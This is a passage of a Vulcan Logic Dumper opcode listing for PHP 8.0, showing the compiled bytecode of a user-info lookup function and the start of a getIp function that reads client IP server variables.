 369    12        INIT_METHOD_CALL                                         !3, 'execute'
        13        FETCH_R                      global              ~10     '_SESSION'
        14        FETCH_DIM_R                                      ~11     ~10, 'acp_username'
        15        INIT_ARRAY                                       ~12     ~11
        16        FETCH_R                      global              ~13     '_SESSION'
        17        FETCH_DIM_R                                      ~14     ~13, 'acp_password'
        18        ADD_ARRAY_ELEMENT                                ~12     ~14
        19        SEND_VAL_EX                                              ~12
        20        DO_FCALL                                      0          
 371    21        INIT_METHOD_CALL                                         !3, 'rowCount'
        22        DO_FCALL                                      0  $16     
        23        IS_SMALLER_OR_EQUAL                              ~17     0, $16
        24      > JMPZ                                                     ~17, ->39
 372    25    >   INIT_METHOD_CALL                                         !3, 'fetch'
        26        SEND_VAL_EX                                              5
        27        DO_FCALL                                      0  $18     
        28        QM_ASSIGN                                                !4
 373    29      > JMPZ                                                     !1, ->36
        30    >   INIT_FCALL                                               'htmlspecialchars'
        31        FETCH_OBJ_R                                      ~20     !4, !0
        32        SEND_VAL                                                 ~20
        33        DO_ICALL                                         $21     
        34        ASSIGN_BW_OR                                  0  ~22     $21
        35      > JMP                                                      ->38
        36    >   FETCH_OBJ_R                                      ~23     !4, !0
        37        ASSIGN_BW_OR                                  0  ~22     ~23
        38    > > RETURN                                                   ~22
 377    39    > > RETURN                                                   ''
 378    40*     > RETURN                                                   null

End of function getuserinfo

Function getip:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 11
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 19
Branch analysis from position: 15
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
Branch analysis from position: 19
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 25
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
filename:       /in/Q5nB8
function name:  getIp
number of ops:  27
compiled vars:  !0 = $ip
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 381     0  E >   FETCH_R                      global              ~1      '_SERVER'
         1        FETCH_DIM_R                                      ~2      ~1, 'REMOTE_ADDR'
         2        QM_ASSIGN                                                !0
 383     3        FETCH_IS                                         ~4      '_SERVER'
         4        ISSET_ISEMPTY_DIM_OBJ                         1  ~5      ~4, 'HTTP_CLIENT_IP'
         5        BOOL_XOR                                         ~6      ~5
         6      > JMPZ                                                     ~6, ->11
 384     7    >   FETCH_R                      global              ~7      '_SERVER'

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
34.35 ms | 507 KiB | 7 Q